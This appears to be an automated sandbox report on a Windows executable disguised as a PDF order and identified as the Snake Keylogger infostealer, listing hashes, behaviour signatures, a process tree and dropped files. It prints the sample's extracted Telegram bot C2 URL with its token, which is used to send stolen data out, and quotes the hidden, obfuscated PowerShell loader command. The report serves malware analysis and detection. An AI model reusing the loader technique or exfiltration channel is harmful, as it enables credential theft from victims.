Analysis

  • max time kernel
    93s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-11-2024 16:04

General

  • Target

    Order88983273293729387293828PDF.exe

  • Size

    682KB

  • MD5

    6e62c2f3acd34a6cf4eee9f493ceb3a1

  • SHA1

    dc025bd9290f738c1870f7d9861da95af549dfd0

  • SHA256

    134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19

  • SHA512

    20beb4e7572a1026603399676dc55573105f2359d418aa504f73a8486337b1843ab9ea8db6ccd3bd11b05ff2686b3cefdadbbef321d7da546da9a733b7c626e9

  • SSDEEP

    12288:G0mnA1zxuAL9BFGFx6Dpu/ay+xSnliR6r9t3DSDb4NF:uA1zxumVoIDIikcu3ewb

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Snakekeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe
    "C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Binomialfordelt=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg';$Archibuteo=$Binomialfordelt.SubString(54418,3);.$Archibuteo($Binomialfordelt)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3276
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        PID:228
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 228 -s 1528
          4⤵
          • Program crash
          PID:1376
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 228 -ip 228
    1⤵
      PID:3816

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg

      Filesize

      53KB

      MD5

      65171ebd8fd8c699770edee943ff09f1

      SHA1

      dc17dd3e384f06c03015b136cc068c2973673981

      SHA256

      73a4a59e35863571281154449961ab2a81ff47c3baa341d7de100287a0043274

      SHA512

      f0f1c8a7dfa94feb7fc7e170ad4abfde9a4bc7d7af1a5c4cd763ca93484256a6a37fd5fb515345987af8daaedd812cfb3e0f5944ccdb0ee4983a0a71da53a144

    • C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Stikprvestandardafvigelsens.Lgn

      Filesize

      330KB

      MD5

      b861cf3da394f7f9973e55ad07eedc61

      SHA1

      08f5a734f3cf625e52abf462216fba82be10a430

      SHA256

      222afe763d83a4f8e09f820bf1dc20b8aef212ec7503e07d60941f4661f4fc9b

      SHA512

      41203f0af9147cf432c4ed85670f2f2d422cc49cbf67720bf69de97e16697f813c40cbbbf50500745eedd925aca2c3411007303d160b3e52b4fe71c2084f471d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ewvm4zgr.kfb.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/228-66-0x0000000001000000-0x0000000002254000-memory.dmp

      Filesize

      18.3MB

    • memory/3276-34-0x000000006FA20000-0x000000006FA6C000-memory.dmp

      Filesize

      304KB

    • memory/3276-65-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-12-0x0000000005320000-0x0000000005386000-memory.dmp

      Filesize

      408KB

    • memory/3276-13-0x0000000005390000-0x00000000053F6000-memory.dmp

      Filesize

      408KB

    • memory/3276-10-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-19-0x0000000005400000-0x0000000005754000-memory.dmp

      Filesize

      3.3MB

    • memory/3276-24-0x0000000005AD0000-0x0000000005AEE000-memory.dmp

      Filesize

      120KB

    • memory/3276-25-0x0000000005B00000-0x0000000005B4C000-memory.dmp

      Filesize

      304KB

    • memory/3276-46-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-27-0x0000000005FF0000-0x000000000600A000-memory.dmp

      Filesize

      104KB

    • memory/3276-28-0x0000000006040000-0x0000000006062000-memory.dmp

      Filesize

      136KB

    • memory/3276-29-0x00000000070F0000-0x0000000007694000-memory.dmp

      Filesize

      5.6MB

    • memory/3276-9-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-31-0x0000000007D20000-0x000000000839A000-memory.dmp

      Filesize

      6.5MB

    • memory/3276-32-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-33-0x0000000006D20000-0x0000000006D52000-memory.dmp

      Filesize

      200KB

    • memory/3276-6-0x000000007359E000-0x000000007359F000-memory.dmp

      Filesize

      4KB

    • memory/3276-35-0x00000000701D0000-0x0000000070524000-memory.dmp

      Filesize

      3.3MB

    • memory/3276-26-0x0000000006AA0000-0x0000000006B36000-memory.dmp

      Filesize

      600KB

    • memory/3276-11-0x0000000004B10000-0x0000000004B32000-memory.dmp

      Filesize

      136KB

    • memory/3276-52-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-48-0x0000000007090000-0x000000000709A000-memory.dmp

      Filesize

      40KB

    • memory/3276-49-0x00000000077E0000-0x000000000780A000-memory.dmp

      Filesize

      168KB

    • memory/3276-50-0x0000000007810000-0x0000000007834000-memory.dmp

      Filesize

      144KB

    • memory/3276-51-0x000000007359E000-0x000000007359F000-memory.dmp

      Filesize

      4KB

    • memory/3276-47-0x0000000006F70000-0x0000000007013000-memory.dmp

      Filesize

      652KB

    • memory/3276-53-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-55-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-56-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-8-0x0000000004C80000-0x00000000052A8000-memory.dmp

      Filesize

      6.2MB

    • memory/3276-58-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-59-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-60-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-61-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-63-0x00000000083A0000-0x000000000CEAE000-memory.dmp

      Filesize

      75.1MB

    • memory/3276-64-0x0000000073590000-0x0000000073D40000-memory.dmp

      Filesize

      7.7MB

    • memory/3276-45-0x0000000006D00000-0x0000000006D1E000-memory.dmp

      Filesize

      120KB

    • memory/3276-7-0x0000000004520000-0x0000000004556000-memory.dmp

      Filesize

      216KB